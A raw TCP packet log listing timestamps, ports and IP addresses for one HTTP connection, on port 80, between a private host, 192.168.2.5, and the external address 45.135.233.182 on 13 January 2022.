Jan 13, 2022 20:51:35.895972967 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.901086092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.901127100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.901168108 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.901206017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.901222944 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.901278973 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.901927948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.901987076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.902017117 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.902842045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.902900934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.902977943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.937644005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937684059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937711954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937741041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937766075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937789917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.937839985 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.937901020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.937907934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.952637911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.952670097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.952694893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.952719927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.952784061 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.952817917 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.953020096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.953047991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.953136921 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.955780983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.955813885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.955837965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.955907106 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.955939054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.956866980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.956895113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.956988096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.959624052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.959651947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.959801912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.992708921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.992743969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.992768049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.992794037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.992886066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.992928028 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.993216038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.993242979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.993293047 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.007772923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.007807970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.007827044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.007847071 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.008013964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.008584976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016073942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016108990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016134977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016160011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016185045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016202927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.016210079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016235113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016235113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.016259909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016275883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.016290903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.016324043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.016395092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.048197031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.048230886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.048255920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.048278093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.048377991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.049190044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.049217939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.049303055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.065184116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.065218925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.065243006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.065268993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.065329075 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.065370083 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.070980072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071012020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071032047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071050882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071122885 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.071172953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.071290016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071317911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071341038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071365118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071402073 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.071433067 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.071659088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071683884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071708918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.071748018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.105106115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105134964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105159998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105182886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105277061 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.105324030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.105561018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105587959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.105632067 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.118474960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.122201920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.122231007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.122256041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.122279882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.122411013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.125695944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125726938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125750065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125776052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125801086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125825882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125864983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125888109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125904083 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.125916958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.125940084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.125983953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.126221895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.126246929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.126293898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.129462004 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.164225101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164263010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164290905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164315939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164405107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.164438963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164448977 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.164470911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.164525986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.173845053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.177723885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.177762032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.177792072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.177845001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.177889109 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.177942991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.180655003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180687904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180717945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180744886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180774927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180772066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.180804968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180804968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.180811882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.180835009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.180888891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.180906057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.181617022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.181648970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.181678057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.181689978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.181786060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.220000982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220062017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220105886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220139980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220171928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.220226049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.220405102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220454931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.220510960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.233184099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.233242035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.233279943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.233319044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.233359098 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.233418941 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.235507011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235557079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235594988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235636950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235658884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.235677004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235682964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.235718966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235758066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235765934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.235795975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.235843897 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.236114025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.236517906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.236572981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.236593962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.236637115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.236675978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.236690998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.275950909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.276029110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.276084900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.276120901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.276137114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.276179075 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.278033972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.278090000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.278131962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.293637037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293698072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293749094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293806076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293822050 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.293858051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.293916941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293984890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.293992996 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.294049025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294097900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294101000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.294387102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294441938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294461966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.294495106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294547081 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.294548988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294600964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294652939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294657946 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.294704914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294754028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.294755936 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.331255913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.331321955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.331372023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.331423998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.331445932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.331521034 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.333625078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.333682060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.333741903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.348876953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.348929882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.348984003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349035978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349020004 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349077940 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349088907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349139929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349148035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349189997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349240065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349261045 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349459887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349514961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349524021 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349569082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349621058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349625111 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349678993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349730968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349737883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.349781036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349831104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.349843025 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.396188974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.396397114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.396620989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.396657944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.396718025 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.396739006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.404737949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404772997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404792070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404808998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404834032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404854059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404870033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404886007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.404891014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.404949903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.404958010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.411922932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.411942005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.411956072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.411968946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.412091970 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.412132978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.412339926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.412358046 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.412405014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.412408113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.412431955 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.412439108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.412450075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.412502050 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.451021910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.451123953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.451235056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.451267004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.451272011 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.451317072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.451334000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.451366901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.451383114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.451431990 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.459772110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.459903002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.460206032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.460237980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.460329056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.466783047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.466829062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.466867924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.466907024 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.466933012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.467221975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.467264891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.467353106 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.506859064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.506913900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507030010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.507317066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507360935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507400036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507412910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.507441998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507481098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.507489920 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.510282040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.510392904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.514564037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.516160011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.516321898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.521578074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.521626949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.521667004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.521704912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.521723032 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.521759987 CET	49845	80	192.168.2.5	45.135.233.182
